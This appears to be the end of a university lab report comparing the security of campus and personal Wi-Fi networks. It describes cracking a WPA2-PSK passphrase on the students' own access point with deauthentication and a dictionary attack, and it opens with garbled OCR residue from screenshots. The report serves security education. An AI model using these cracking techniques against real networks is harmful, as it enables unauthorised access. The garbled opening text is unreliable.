16 0 16 0 16 0 16 0 0 0 0 0	$\begin{array}{cccccccccccccccccccccccccccccccccccc$	ue 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 01 7	0 10 20 26 30 1 50 00 2 3 4 0 3 4 0 5 4 0 5 4 0 5 1 30 0 6 3 9 6 3 1 30 0 6 3 1 0	$5 ext{ 09 at 0 } 66 ext{ 03 } 06 ext{ 03 } 06 ext{ 03 } 06 ext{ 03 } 07 ext{ 23 } 77 ext{ 23 } 23 ext{ 23 } 14 ext{ 00 } 61 ext{ 13 } 92 ext{ 00 } 21 ext{ 13 } 92 ext{ 00 } 21 ext{ 14 } 81 ext{ 2a } 03 ext{ 44 } 01 ext{ 00 } 07 ext{ 14 } 81 ext{ 2a } 03 ext{ 44 } 01 ext{ 00 } 07 ext{ 16 } 02 ext{ 06 } 016 ext{ 03 } 016 ext{ 06 } 011 ext{ 06 } 012 ext{ 2f } 00 ext{ 06 } 113 ext{ 10 } 00 ext{ 06 } 05 ext{ 06 } 011 ext{ 2f } 00 ext{ 06 } 05 ext{ 06 } 011 ext{ 06 } 05 ext{ 06 } 05 ext{ 06 } 016 ext{ 06 } 05 ext{ 06$	9 df 00 9 df 00 1 6a 52 3 70 6a 7 45 53 1 04 82 1 04 82 1 04 82 0 06 a 0 07 ac 0 00 2d 0 00 a 0 00 2d 0 00 00 3 a4 00 17 0 00 00 17	88 3 4 6 - 22 # (-2 18 TECH1 1 18 TECH1 2 5 6 H 1 - 5 6 H 1 - 5 6 H 1
		Rx Supported Model	odulation and Coding :	Scheme Set: MCS Set							- 4							Þ
a Torogapop	07	PartA 3 ncan	success and couring a	Soneme See. Hos See							Packetr: 7	4083 - 04	nlaved 420	7 (5.8%)				Profile: Default
		. a.oo.b.ab									Fackets: 7	4000 DIS	pidyeu. 429	(3.070)				monie. Deidult



From the highlighted screenshots above of the RSN IE, information of our own AP, we can clearly see that it uses AES CMC for Group Cipher suite (used to encrypt multicast or broadcast traffic) as well as Pairwise Cipher Suite (used to encrypt the unicast traffic). The authentication Key Management Suite advertises only IEEE 802.11, PSK as this AP uses WPA2-PSk version of authentication (NULL Authentication with MIC matching during key exchange handshake).

The figure also shows an extended list of RSN capabilities like Pre-Authentication capabilities are not supported, No capability and requirement for protection of management frames making it prone to deAuth attacks, number of replay counters for PTK and GTK and more.

12. Security Mechanisms for IITH, IITH-GUest and own AP

The IITH Wi-Fi Network is employed using WPA2-Enterprise with 802.1X authentication (using LDAP) where as the IITH-Guest and own AP is employed using WPA2-Personal with 802.11 authenticated using a passphrase.

Open Availability of passphrase in IITH-Guest makes it vulnerable to easy open access to attackers, eavesdropping, deaAuthentication followed by the Evil twin attack or Denial of Service with Man in the middle attack and more making it clearly not secure in terms of security.

Similarly, we have our own AP with WPA2-Personal but with a secret passphrase. Even with a secret passphrase we clearly demonstrated how it is possible to crack it using deaAuthentication following a dictionary attack. A simple brute-force with a password list was enough to crack the passphrase when the passphrase was not well thought out (not meeting the password standards like use of complete ASCII characters set like lowercase, uppercase, numerals and symbols, password length, uniqueness and so on). Deauthentication attacks are possible in such AP as the management frame protection is not supported as we clearly saw in the above figures.

Although IITH Wi-Fi Network doesn't support the protection of management frames, it allows an active authentication using an Authentication Server for client as well as the server. Access to this network is based on individual verification with a unique passphrase for each individual with a unique username.

So, even if the attacker can deAuth, record and crack password for one individual (which is least likely as the credentials are encrypted using multiple encryption pipes), other communicating individuals wont be vulnerable to this attack.

So, in our opinion IITH Wi-Fi with 802.1X authentication is the most secure one.



Credit Statement:

Parts	Tasks	Akash Tadwai (ES18BTECH11019)	Kamal Shrestha (CS21MTECH16001)			
	Cracking WPA2-PSK using own AP	Collaborative Work				
<u>PARTA</u> Cracking	Cracking WPA2-PSK on target victim AP	-	Did Entirely			
WPA2-PSK Passphrase	Pseudo-Code for aircrack-ng's passphrase cracking algorithm	Did Entirely	-			
	Report Writing	Collaborative Work				
	Capturing IITH Wi-Fi Packets (Success and fail scenarios)	Collaborative Work				
<u>PART B</u> Analyzing IITH	Capturing IITH-Guest Wi-Fi Packets (Success and fail scenarios)					
Wi-Fi Network Security	Questions from 1-6	Did Entirely	-			
security	Questions from 7-12	-	Did Entirely			
Report Formatting	Co	llaborative Work				



References:

- 1. https://www.ins1gn1a.com/understanding-wpa-psk-cracking
- 2. <u>wlan0mon is on channel 2, but the AP uses channel 5</u>
- 3. <u>How can I capture the packet headers but not the data?</u>
- 4. <u>CWSP -RSN Information Element | mrn-cciew</u>
- 5. <u>CWSP- EAP PEAP | mrn-cciew</u>
- 6. <u>CWAP 802.11 Mgmt Frame Types | mrn-cciew</u>
- 7. <u>Understand and Cracking WPA/WPA2(Enterprise) · Teck_k2</u>
- 8. <u>III. EAP Downgrade Attacks s0lst1c3</u>